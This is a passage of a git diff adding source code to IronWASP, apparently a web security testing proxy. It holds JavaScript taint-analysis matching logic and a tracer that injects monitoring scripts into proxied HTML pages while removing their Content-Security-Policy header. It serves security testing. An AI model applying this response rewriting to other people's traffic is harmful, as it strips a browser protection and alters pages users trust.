(TemplateArguments[j].SubItems[0].State == JintState.MethodCallArgumentTaintPointer) + { + if (SourceTaintedArgumentPositions.Contains(j)) + Result.AddAsSource(MethodItem, "Method - " + GetItemAsString(MethodItem) + " - returns a Source passed in at argument position " + (j + 1).ToString()); + if (SinkTaintedArgumentPositions.Contains(j)) + Result.AddAsSink(MethodItem, "Method - " + GetItemAsString(MethodItem) + " - returns a Sink passed in at argument position " + (j + 1).ToString()); + } + } + } + } + } + } + } + } + + int LineNo = 0; + if (Item.Count > 0) LineNo = Item[0].LineNo; + if (LineNo == 0) LineNo = IJ.CurrentLineNo; + if (IronJint.SourceLinesToIgnore.Contains(LineNo)) Result.SourceReasons.Clear(); + if (IronJint.SourceLinesToInclude.Contains(LineNo)) Result.SourceReasons.Add("Source set by User"); + if (IronJint.SinkLinesToIgnore.Contains(LineNo)) Result.SinkReasons.Clear(); + if (IronJint.SinkLinesToInclude.Contains(LineNo)) Result.SinkReasons.Add("Sink set by User"); + + return Result; + } + + internal TaintResult IsMatch(List Item, List Template) + { + TaintResult Result = new TaintResult(); + if (IJ.IsTimedOut()) return Result; + + if (Item.Count == 0) return Result; + if (Template.Count == 0) return Result; + + if ((Item[0].State != JintState.Identifier) && (Item[0].State != JintState.MethodCallName)) + { + //MessageBox.Show("Item starts with - " + Item[0].State.ToString()); + return Result; + } + if ((Template[0].State != JintState.Identifier) && (Template[0].State != JintState.MethodCallName)) + { + //MessageBox.Show("Template starts with - " + Template[0].State.ToString()); + return Result; + } + + int ItemMatchIndex = 0; + + while (ItemMatchIndex < Item.Count) + { + switch (Template[0].State) + { + case (JintState.Identifier): + switch (Item[ItemMatchIndex].State) + { + case (JintState.Identifier): + case (JintState.Property): + case (JintState.StringIndex): + if (Item[ItemMatchIndex].Value.Equals(Template[0].Value)) + Result.Add(DoItemsMatch(Item.GetRange(ItemMatchIndex, Item.Count - ItemMatchIndex), Template)); + break; + case (JintState.IdentifierIndex): + case (JintState.Indexer): + string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); + if (IndexValue.Length > 0 && IndexValue.Equals(Template[0].Value)) + Result.Add(DoItemsMatch(Item.GetRange(ItemMatchIndex, Item.Count - ItemMatchIndex), Template)); + break; + } + break; + case (JintState.MethodCallName): + switch (Item[ItemMatchIndex].State) + { + case (JintState.MethodCallName): + case (JintState.StringIndex): + if (Item[ItemMatchIndex].Value.Equals(Template[0].Value)) + Result.Add(DoItemsMatch(Item.GetRange(ItemMatchIndex, Item.Count - ItemMatchIndex), Template)); + break; + case (JintState.IdentifierIndex): + case (JintState.Indexer): + string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); + if (IndexValue.Length > 0 && IndexValue.Equals(Template[0].Value)) + Result.Add(DoItemsMatch(Item.GetRange(ItemMatchIndex, Item.Count - ItemMatchIndex), Template)); + break; + } + break; + } + ItemMatchIndex++; + } + return Result; + } + + internal TaintResult DoItemsMatch(List Item, List Template) + { + return DoItemsMatch(Item, Template, true); + } + + internal TaintResult DoItemsMatch(List Item, List Template, bool MethodCall) + { + TaintResult Result = new TaintResult(); + if (IJ.IsTimedOut()) return Result; + int ItemMatchIndex = 0; + int TemplateMatchIndex = 0; + + bool MatchFailed = false; + while ((ItemMatchIndex < Item.Count) && (TemplateMatchIndex < Template.Count) && !MatchFailed) + { + switch (Template[TemplateMatchIndex].State) + { + case (JintState.Identifier): + switch (Item[ItemMatchIndex].State) + { + case (JintState.Identifier): + case (JintState.Property): + case (JintState.StringIndex): + if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else + MatchFailed = true; + break; + case (JintState.IdentifierIndex): + case (JintState.Indexer): + string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); + if (IndexValue.Length > 0 && IndexValue.Equals(Template[TemplateMatchIndex].Value)) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else + MatchFailed = true; + break; + case (JintState.MethodCallName): + if (MethodCall) + MatchFailed = true; + else + { + if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else + MatchFailed = true; + } + break; + default: + MatchFailed = true; + break; + } + break; + case (JintState.Property): + case (JintState.StringIndex): + switch (Item[ItemMatchIndex].State) + { + case (JintState.Property): + case (JintState.StringIndex): + if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else + MatchFailed = true; + break; + case (JintState.IdentifierIndex): + case (JintState.Indexer): + string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); + if (IndexValue.Length > 0 && IndexValue.Equals(Template[TemplateMatchIndex].Value)) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else + MatchFailed = true; + break; + case (JintState.MethodCallName): + if (MethodCall) + { + if (Template.Count > TemplateMatchIndex + 1 && Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) + { + if (Template[TemplateMatchIndex + 1].State == JintState.MethodCallName && Template[TemplateMatchIndex + 1].Value.Length == 0) + { + TemplateMatchIndex++; + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); + List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); + ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; + TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; + } + else + MatchFailed = true; + } + else + MatchFailed = true; + } + else + { + if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else + MatchFailed = true; + } + break; + default: + MatchFailed = true; + break; + } + break; + case(JintState.IdentifierIndex): + string TemplateItemValue = GetIndexStringValue(Template[TemplateMatchIndex]); + switch (Item[ItemMatchIndex].State) + { + case (JintState.Property): + case (JintState.StringIndex): + if (Item[ItemMatchIndex].Value.Equals(TemplateItemValue)) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else + MatchFailed = true; + break; + case (JintState.IdentifierIndex): + string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); + if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else if (IndexValue.Length > 0 && IndexValue.Equals(TemplateItemValue)) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else + MatchFailed = true; + break; + case (JintState.Indexer): + string IndexerValue = GetIndexStringValue(Item[ItemMatchIndex]); + if (IndexerValue.Length > 0 && IndexerValue.Equals(TemplateItemValue)) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else + MatchFailed = true; + break; + case (JintState.MethodCallName): + if (Template.Count > TemplateMatchIndex + 1 && Item[ItemMatchIndex].Value.Equals(TemplateItemValue)) + { + if (Template[TemplateMatchIndex + 1].State == JintState.MethodCallName && Template[TemplateMatchIndex + 1].Value.Length == 0) + { + TemplateMatchIndex++; + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); + List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); + ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; + TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; + } + else + MatchFailed = true; + } + else + MatchFailed = true; + break; + default: + MatchFailed = true; + break; + } + break; + case (JintState.Indexer): + string TemplateIndexerValue = GetIndexStringValue(Template[TemplateMatchIndex]); + switch (Item[ItemMatchIndex].State) + { + case (JintState.StringIndex): + if (Item[ItemMatchIndex].Value.Equals(TemplateIndexerValue)) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else + MatchFailed = true; + break; + case (JintState.IdentifierIndex): + string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); + if (IndexValue.Length > 0 && IndexValue.Equals(TemplateIndexerValue)) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else + MatchFailed = true; + break; + case (JintState.Indexer): + string IndexerValue = GetIndexStringValue(Item[ItemMatchIndex]); + if (IsMatch(Item[ItemMatchIndex].SubItems, Template[TemplateMatchIndex].SubItems).NeutralReasons.Count > 0) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else if (IndexerValue.Length > 0 && IndexerValue.Equals(TemplateIndexerValue)) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else + MatchFailed = true; + break; + case (JintState.MethodCallName): + if (Template.Count > TemplateMatchIndex + 1 && Item[ItemMatchIndex].Value.Equals(TemplateIndexerValue)) + { + if (Template[TemplateMatchIndex + 1].State == JintState.MethodCallName && Template[TemplateMatchIndex + 1].Value.Length == 0) + { + TemplateMatchIndex++; + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); + List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); + ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; + TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; + } + else + MatchFailed = true; + } + else + MatchFailed = true; + break; + default: + MatchFailed = true; + break; + } + break; + case (JintState.MethodCallName): + switch (Item[ItemMatchIndex].State) + { + case (JintState.MethodCallName): + if (MethodCall) + { + if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) + { + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); + List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); + ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; + TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; + } + else + MatchFailed = true; + } + else + MatchFailed = true; + + break; + case (JintState.StringIndex): + if (Item[ItemMatchIndex].Value.Equals(Template[TemplateMatchIndex].Value)) + { + if (Item.Count > ItemMatchIndex + 1) + { + if (Item[ItemMatchIndex + 1].State == JintState.MethodCallName && Item[ItemMatchIndex + 1].Value.Length == 0 && MethodCall) + { + ItemMatchIndex++; + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); + List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); + ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; + TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; + } + else + MatchFailed = true; + } + else + { + if(MethodCall) MatchFailed = true; + } + } + else + MatchFailed = true; + break; + case (JintState.IdentifierIndex): + string IndexValue = GetIndexStringValue(Item[ItemMatchIndex]); + if (IndexValue.Length > 0 && IndexValue.Equals(Template[TemplateMatchIndex].Value)) + { + if (Item.Count > ItemMatchIndex + 1) + { + if (Item[ItemMatchIndex + 1].State == JintState.MethodCallName && Item[ItemMatchIndex + 1].Value.Length == 0 && MethodCall) + { + ItemMatchIndex++; + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); + List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); + ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; + TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; + } + else + MatchFailed = true; + } + else + { + if(MethodCall) MatchFailed = true; + } + } + else + MatchFailed = true; + break; + case (JintState.Indexer): + string IndexerValue = GetIndexStringValue(Item[ItemMatchIndex]); + if (IndexerValue.Length > 0 && IndexerValue.Equals(Template[TemplateMatchIndex].Value)) + { + if (Item.Count > ItemMatchIndex + 1) + { + if (Item[ItemMatchIndex + 1].State == JintState.MethodCallName && Item[ItemMatchIndex + 1].Value.Length == 0 && MethodCall) + { + ItemMatchIndex++; + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + List ItemArguments = GetMethodArguments(Item.GetRange(ItemMatchIndex + 1, Item.Count - (ItemMatchIndex + 1))); + List TemplateArguments = GetMethodArguments(Template.GetRange(TemplateMatchIndex + 1, Template.Count - (TemplateMatchIndex + 1))); + ItemMatchIndex = ItemMatchIndex + ItemArguments.Count; + TemplateMatchIndex = TemplateMatchIndex + TemplateArguments.Count; + } + else + MatchFailed = true; + } + else + { + if(MethodCall) MatchFailed = true; + } + } + else + MatchFailed = true; + break; + case(JintState.Property): + if (!MethodCall && Item.Count == ItemMatchIndex + 1) + Result.NeutralReasons.Add(Item[ItemMatchIndex].Value); + else + MatchFailed = true; + break; + default: + MatchFailed = true; + break; + } + break; + default: + MatchFailed = true; + break; + } + ItemMatchIndex++; + TemplateMatchIndex++; + } + if (TemplateMatchIndex != Template.Count) MatchFailed = true; + if (MatchFailed) + { + Result.NeutralReasons.Clear(); + Result.SourceReasons.Clear(); + Result.SinkReasons.Clear(); + Result.MethodNameReasons.Clear(); + Result.MethodArgumentSinkReasons.Clear(); + Result.MethodArgumentSourceReasons.Clear(); + Result.MethodArgumentNeutralReasons.Clear(); + Result.SourceToSinkReasons.Clear(); + } + return Result; + } + + string GetIndexStringValue(JintItem IndexItem) + { + string IndexValue = ""; + if (IJ.IsTimedOut()) return IndexValue; + switch(IndexItem.State) + { + case (JintState.IdentifierIndex): + IndexValue = IJ.GetStringObject(new List() { new JintItem(IndexItem.LineNo, IndexItem.CharNo, JintState.Identifier, IndexItem.Value) }); + break; + case (JintState.Indexer): + IndexValue = IJ.GetStringObject(IndexItem.SubItems); + break; + } + return IndexValue; + } + + List GetMethodArguments(List Item) + { + List Result = new List(); + if (IJ.IsTimedOut()) return Result; + int i=0; + while(i < Item.Count) + { + if (Item[i].State == JintState.MethodCallArgument) + Result.Add(Item[i]); + else + break; + i++; + } + return Result; + } + + internal List GetLastMethodArguments(List Item) + { + List Result = new List(); + if (IJ.IsTimedOut()) return Result; + int i = Item.Count - 1; + while (i >= 0) + { + if (Item[i].State == JintState.MethodCallArgument) + Result.Add(Item[i]); + else + break; + i--; + } + Result.Reverse(); + return Result; + } + + TaintResult IsMethodArgumentsMatch(List ItemArguments, List TemplateArguments) + { + TaintResult Result = new TaintResult(); + if (IJ.IsTimedOut()) return Result; + if (ItemArguments.Count != TemplateArguments.Count) return Result; + + for (int i = 0; i < ItemArguments.Count; i++) + { + if((ItemArguments[i].SubItems.Count > 0) && (TemplateArguments[i].SubItems.Count > 0)) + { + if (TemplateArguments[i].SubItems[0].State == JintState.MethodCallArgumentTaintPointer) + { + Result.Add(Check(ItemArguments[i].SubItems)); + } + } + } + + return Result; + } + + internal static List> GetItemParts(List Item) + { + List> Parts = new List>(); + List Part = new List(); + foreach (JintItem SubItem in Item) + { + if (SubItem.State == JintState.BinaryOperator) + { + if (Part.Count > 0) Parts.Add(new List(Part)); + Part.Clear(); + } + else + { + Part.Add(SubItem); + } + } + Parts.Add(new List(Part)); + return Parts; + } + + internal static bool IsSimilar(List First, List Second) + { + if (First.Count != Second.Count) return false; + for (int i = 0; i < First.Count; i++) + { + if (First[i].State != Second[i].State) return false; + if (First[i].Value != Second[i].Value) return false; + if (First[i].SubItems.Count != Second[i].SubItems.Count) + { + return false; + } + else + { + if (!IsSimilar(First[i].SubItems, Second[i].SubItems)) return false; + } + } + return true; + } + + internal static string GetItemAsString(List Item) + { + StringBuilder StringItem = new StringBuilder(); + foreach (JintItem ItemPart in Item) + { + switch(ItemPart.State) + { + case(JintState.Identifier): + case (JintState.StringValue): + StringItem.Append(ItemPart.Value); + break; + case (JintState.Property): + StringItem.Append(".");StringItem.Append(ItemPart.Value); + break; + case (JintState.StringIndex): + case (JintState.IntIndex): + case (JintState.IdentifierIndex): + StringItem.Append("[");StringItem.Append(ItemPart.Value);StringItem.Append("]"); + break; + case (JintState.Indexer): + StringItem.Append("["); GetItemAsString(ItemPart.SubItems); StringItem.Append("]"); + break; + case (JintState.MethodCallName): + StringItem.Append(ItemPart.Value);StringItem.Append("()"); + break; + } + } + return StringItem.ToString(); + } + } +} diff --git a/Iron/JavaScriptTracer.cs b/Iron/JavaScriptTracer.cs new file mode 100644 index 0000000..e4d2357 --- /dev/null +++ b/Iron/JavaScriptTracer.cs @@ -0,0 +1,1429 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.IO; +using System.Threading; +using System.Text.RegularExpressions; + +namespace IronWASP +{ + public class JavaScriptTracer + { + internal static bool MonitorEval = true; + internal static bool MonitorSetTimeout = true; + internal static bool MonitorSetInterval = true; + internal static bool MonitorUserDefinedMethods = true; + internal static bool MonitorFunctionMethods = true; + + internal static bool MonitorInnerHtmlAssignments = true; + + internal static bool MonitorXhr = true; + + internal static bool InjectJavaScript = false; + internal static string TopJs = ""; + internal static string BottomJs = ""; + + static Dictionary> DataDict = new Dictionary>(); + + //static Dictionary AjaxWatchDict = new Dictionary(); + + static Dictionary> AjaxPartHolderDict = new Dictionary>(); + + static Thread AnalysisThread = null; + + static bool Running = true; + + static List ObservationsMsgs = new List(); + static List AjaxCallMsgs = new List(); + static List DomChangeMsgs = new List(); + static List NativeMethodCallMsgs = new List(); + + static long AjaxResponseWaitTimeout = 200000000; + static long MaxAgeForDataInDict = 200000000; + + internal static void StartAnalyzer() + { + AnalysisThread = new Thread(AnalyzeDicts); + AnalysisThread.Start(); + } + + internal static void StopAnalyzer() + { + try + { + Running = false; + AnalysisThread.Abort(); + } + catch { } + } + + internal static void LoadJsToInset() + { + try + { + TopJs = File.ReadAllText(string.Format("{0}\\top.js", Config.Path)); + } + catch (Exception Exp) + { + IronException.Report("Error loading top.js", Exp); + } + try + { + BottomJs = File.ReadAllText(string.Format("{0}\\btm.js", Config.Path)); + } + catch (Exception Exp) + { + IronException.Report("Error loading btm.js", Exp); + } + } + + internal static void ProcessSession(Session IrSe) + { + if (IrSe.Response == null) + { + if (IrSe.Request.Headers.Has("x-org-ironwasp-js-trace-ajax")) + { + string AjaxId = IrSe.Request.Headers.Get("x-org-ironwasp-js-trace-ajax"); + IrSe.FiddlerSession.oFlags.Add("IronFlag-JS-Trace-XHR-ID", AjaxId); + + Data D = new Data(IrSe); + AddTraceMessagesToList(D); + lock (AjaxPartHolderDict) + { + if (!AjaxPartHolderDict.ContainsKey(AjaxId)) + { + AjaxPartHolderDict[AjaxId] = new List(); + } + AjaxPartHolderDict[AjaxId].Add(D); + } + IrSe.Request.Headers.Remove("x-org-ironwasp-js-trace-ajax"); + IrSe.UpdateFiddlerSessionFromIronSession(); + } + } + else + { + if (!IrSe.FiddlerSession.isFlagSet(Fiddler.SessionFlags.RequestGeneratedByFiddler)) + { + if (IrSe.FiddlerSession.oFlags.ContainsKey("IronFlag-JS-Trace-XHR-ID")) + { + string AjaxId = IrSe.FiddlerSession.oFlags["IronFlag-JS-Trace-XHR-ID"]; + if (AjaxId.Length > 0) + { + Data D = new Data(IrSe); + AddTraceMessagesToList(D); + lock (AjaxPartHolderDict) + { + if (AjaxPartHolderDict.ContainsKey(AjaxId)) + { + AjaxPartHolderDict[AjaxId].Add(D); + } + } + } + } + InjectTracingJavaScript(IrSe); + } + } + } + + static void AddTraceMessagesToList(Data D) + { + if (D.Type == DataType.MethodCall) + { + lock (NativeMethodCallMsgs) + { + NativeMethodCallMsgs.Add(new NativeMethodCallMsg(D)); + } + } + else if (D.Type == DataType.DomChange) + { + lock (DomChangeMsgs) + { + DomChangeMsgs.Add(new DomChangeMsg(D)); + } + } + else if (D.Type == DataType.AjaxCall) + { + lock (AjaxCallMsgs) + { + AjaxCallMsgs.Add(new AjaxCallMsg(D)); + } + } + } + + internal static void InjectTracingJavaScript(Session IrSe) + { + if (!IrSe.FiddlerSession.isFlagSet(Fiddler.SessionFlags.RequestGeneratedByFiddler) && InjectJavaScript) + { + if (TopJs.Length > 0 || BottomJs.Length > 0) + { + if (IrSe.Response.IsHtml) + { + if (IrSe.Response.BodyString.Contains("")) + { + bool ResponseUpdated = false; + string ConfigSettings = GetConfigJs(); + + int FirstMark = IrSe.Response.BodyString.IndexOf("") + 6; + int LastMark = IrSe.Response.BodyString.LastIndexOf(""); + string Head = IrSe.Response.BodyString.Substring(0, FirstMark).Trim(); + string Middle = IrSe.Response.BodyString.Substring(FirstMark, LastMark-FirstMark).Trim(); + string Last = IrSe.Response.BodyString.Substring(LastMark).Trim(); + + if (Head.StartsWith("<")) + { + StringBuilder SB = new StringBuilder(); + SB.Append(Head); + if (TopJs.Length > 0) + { + SB.Append(string.Format("", ConfigSettings, TopJs)); + ResponseUpdated = true; + } + SB.Append(Middle); + if (BottomJs.Length > 0) + { + SB.Append(string.Format("", ConfigSettings, BottomJs)); + ResponseUpdated = true; + } + SB.Append(Last); + IrSe.Response.BodyString = SB.ToString(); + } + /* + if (TopJs.Length > 0) + { + IrSe.Response.BodyString = IrSe.Response.BodyString.Replace("", string.Format("", ConfigSettings, TopJs)); + ResponseUpdated = true; + } + if (BottomJs.Length > 0) + { + IrSe.Response.BodyString = IrSe.Response.BodyString.Replace("", string.Format("", ConfigSettings, BottomJs)); + ResponseUpdated = true; + } + */ + + if (ResponseUpdated) + { + if (IrSe.Response.Headers.Has("Content-Security-Policy")) + { + IrSe.Response.Headers.Remove("Content-Security-Policy"); + } + IrSe.UpdateFiddlerSessionFromIronSession(); + } + } + } + } + } + } + + static string GetConfigJs() + { + Newtonsoft.Json.Linq.JObject ConfigObj = new Newtonsoft.Json.Linq.JObject(); + + ConfigObj["eval"] = MonitorEval; + ConfigObj["setTimeout"] = MonitorSetTimeout; + ConfigObj["setInterval"] = MonitorSetInterval; + ConfigObj["Function"] = MonitorFunctionMethods; + ConfigObj["nonNative"] = MonitorUserDefinedMethods; + ConfigObj["innerHTML"] = MonitorInnerHtmlAssignments; + ConfigObj["XHR"] = MonitorXhr; + + return string.Format("if (typeof __org_ironwasp_js__ === 'undefined'){{__org_ironwasp_js__ = {{}};__org_ironwasp_js__.config = {0};}}", ConfigObj.ToString()); + } + + internal static void LogTraceMessage(string Msg) + { + try + { + Newtonsoft.Json.Linq.JToken Json = Tools.ParseAsJson(Msg); + if (Json is Newtonsoft.Json.Linq.JArray) + { + foreach (Newtonsoft.Json.Linq.JObject Jobj in (Json as Newtonsoft.Json.Linq.JArray)) + { + Process(Jobj); + } + } + else if (Json is Newtonsoft.Json.Linq.JObject) + { + Process(Json as Newtonsoft.Json.Linq.JObject); + } + } + catch (Exception Exp) + { + IronException.Report("Error reading JavaScript Trace message from browser", Exp); + } + } + + static void Process(Newtonsoft.Json.Linq.JObject Msg) + { + //ShowInOverview(Msg); + Data D = new Data(Msg); + AddTraceMessagesToList(D); + if (D.Type == DataType.AjaxOpen) + { + lock (AjaxPartHolderDict) + { + if (!AjaxPartHolderDict.ContainsKey(D.XhrId)) + { + AjaxPartHolderDict[D.XhrId] = new List(); + } + AjaxPartHolderDict[D.XhrId].Add(D); + } + } + else + { + lock (DataDict) + { + if (!DataDict.ContainsKey(D.WindowId)) + { + DataDict[D.WindowId] = new Dictionary(); + } + DataDict[D.WindowId][D.DataId] = D; + } + } + } + + static void AnalyzeDicts() + { + while (Running) + { + try + { + if (InjectJavaScript) + { + Thread.Sleep(1000); + } + else + { + Thread.Sleep(5000); + } + + AnalyzeAjaxPlaceHolderDict(); + AnalyzeDataDict(); + + lock (ObservationsMsgs) + { + IronUI.AddJsTraceObservation(new List(ObservationsMsgs)); + ObservationsMsgs.Clear(); + } + + lock (AjaxCallMsgs) + { + IronUI.AddJsTraceAjaxCall(new List(AjaxCallMsgs)); + AjaxCallMsgs.Clear(); + } + + lock (DomChangeMsgs) + { + IronUI.AddJsTraceDomChangeCall(new List(DomChangeMsgs)); + DomChangeMsgs.Clear(); + } + + lock (NativeMethodCallMsgs) + { + IronUI.AddJsTraceNativeMethodCall(new List(NativeMethodCallMsgs)); + NativeMethodCallMsgs.Clear(); + } + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + IronException.Report("Error analysing ", Exp); + } + } + } + + static void AnalyzeDataDict() + { + List WindowIdsToRemove = new List(); + List WindowIds = new List(DataDict.Keys); + foreach (string WindowId in WindowIds) + { + List DataIds = new List(DataDict[WindowId].Keys); + List DataIdsToRemove = new List(); + foreach (int DataId in DataIds) + { + if (DateTime.Now.Ticks - DataDict[WindowId][DataId].Time > MaxAgeForDataInDict) + { + DataIdsToRemove.Add(DataId); + } + if (DataDict[WindowId][DataId].Type == DataType.PageUnload) + { + WindowIdsToRemove.Add(WindowId); + } + + if (!DataDict[WindowId][DataId].Analyzed) + { + DataDict[WindowId][DataId].Analyze(); + + ObservationsMsgs.AddRange(DataDict[WindowId][DataId].ObservationMsgs); + DataDict[WindowId][DataId].ObservationMsgs.Clear(); + } + if(DataDict[WindowId][DataId].Type == DataType.AjaxCall && DataDict[WindowId][DataId].AjaxResponse != null) + { + if(!DataDict[WindowId][DataId].AjaxResponseAnalyzed) + { + Data AjaxCallD = DataDict[WindowId][DataId]; + foreach(int DID in DataIds) + { + if (DataDict[WindowId][DID].Type == DataType.DomChange || DataDict[WindowId][DID].Type == DataType.MethodCall) + { + if (DataDict[WindowId][DID].TimeInData > AjaxCallD.TimeInData && DataDict[WindowId][DID].TimeInData < (AjaxCallD.TimeInData + 10000)) + { + DataDict[WindowId][DID].Analyze(AjaxCallD); + } + } + } + } + } + + } + foreach(int DataId in DataIdsToRemove) + { + if(DataDict[WindowId].ContainsKey(DataId)) + { + DataDict[WindowId].Remove(DataId); + } + } + } + lock (DataDict) + { + foreach (string WindowIdToRemove in WindowIdsToRemove) + { + DataDict.Remove(WindowIdToRemove); + } + } + } + + static void AnalyzeAjaxPlaceHolderDict() + { + List XhrIdsToRemove = new List(); + + List XhrIds = new List(AjaxPartHolderDict.Keys); + + foreach (string XhrId in XhrIds) + { + Data OpenData = null; + Data RequestData = null; + Data ResponseData = null; + Data CombinedData = null; + foreach (Data D in AjaxPartHolderDict[XhrId]) + { + if (D.Type == DataType.AjaxOpen) + { + OpenData = D; + } + else if (D.Type == DataType.AjaxRequest) + { + RequestData = D; + } + else if (D.Type == DataType.AjaxResponse) + { + ResponseData = D; + } + else if (D.Type == DataType.AjaxCall) + { + CombinedData = D; + } + } + + if (CombinedData == null) + { + if (OpenData != null) + { + if (RequestData != null) + { + OpenData.AddAjaxRequest(RequestData); + CombinedData = OpenData; + if (ResponseData != null) + { + CombinedData.AddAjaxResponse(ResponseData); + if (!DataDict.ContainsKey(CombinedData.WindowId)) + { + DataDict[CombinedData.WindowId] = new Dictionary(); + } + DataDict[CombinedData.WindowId][CombinedData.DataId] = CombinedData; + } + else + { + AjaxPartHolderDict[XhrId].Add(CombinedData); + } + } + } + } + else + { + if (CombinedData.AjaxResponse == null) + { + if (ResponseData != null) + { + if (DataDict.ContainsKey(CombinedData.WindowId)) + { + if (DataDict[CombinedData.WindowId].ContainsKey(CombinedData.DataId)) + { + DataDict[CombinedData.WindowId][CombinedData.DataId].AddAjaxResponse(ResponseData); + XhrIdsToRemove.Add(XhrId); + } + } + } + } + } + + if(ResponseData == null) + { + long RequestTime = 0; + if(CombinedData != null) + { + RequestTime = CombinedData.Time; + } + else if (RequestData != null) + { + RequestTime = RequestData.Time; + } + else if (OpenData != null) + { + RequestTime = OpenData.Time; + } + if (DateTime.Now.Ticks - RequestTime > AjaxResponseWaitTimeout) + { + XhrIdsToRemove.Add(XhrId); + } + } + } + foreach(string XhrId in XhrIdsToRemove) + { + if (AjaxPartHolderDict.ContainsKey(XhrId)) + { + AjaxPartHolderDict.Remove(XhrId); + } + } + } + + /* + internal static void ShowObservation() + { + + } + */ + /* + internal static void ShowInOverview(Newtonsoft.Json.Linq.JObject Msg) + { + + switch(Msg.Value("action")) + { + case ("EvalCalled"): + IronUI.AddJsTraceNativeMethodCall(new NativeMethodCallMsg() { Method = "eval", Details = IronJint.Beautify(Msg["value"]["args"].ToString()) }); + break; + case ("FunctionCalled"): + IronUI.AddJsTraceNativeMethodCall(new NativeMethodCallMsg() { Method = "Function", Details = IronJint.Beautify(Msg["value"]["args"].ToString()) }); + break; + case ("SetTimeoutCalled"): + IronUI.AddJsTraceNativeMethodCall(new NativeMethodCallMsg() { Method = "setTimeout", Details = IronJint.Beautify(Msg["value"]["args"].ToString()) }); + break; + case ("SetIntervalCalled"): + IronUI.AddJsTraceNativeMethodCall(new NativeMethodCallMsg() { Method = "setInterval", Details = IronJint.Beautify(Msg["value"]["args"].ToString()) }); + break; + case ("XhrOpenCalled"): + IronUI.AddJsTraceAjaxCall(new AjaxCallMsg() { Details = Msg["value"].ToString() }); + break; + case ("XhrSendCalled"): + IronUI.AddJsTraceAjaxCall(new AjaxCallMsg() { Details = Msg["value"].ToString() }); + break; + case ("AttributeChanged"): + IronUI.AddJsTraceDomChangeCall(new DomChangeMsg() { Action = "Attribute Changed", Details = Msg["value"].ToString() }); + break; + case ("NodeAdded"): + IronUI.AddJsTraceDomChangeCall(new DomChangeMsg() { Action = "Node Added", Details = Msg["value"].ToString() }); + break; + case ("PageLoaded"): + IronUI.AddJsTraceObservation(new ObservationMsg() { Type = "Page Loaded", Details = Msg["value"].ToString() }); + break; + case ("PageUnloading"): + IronUI.AddJsTraceObservation(new 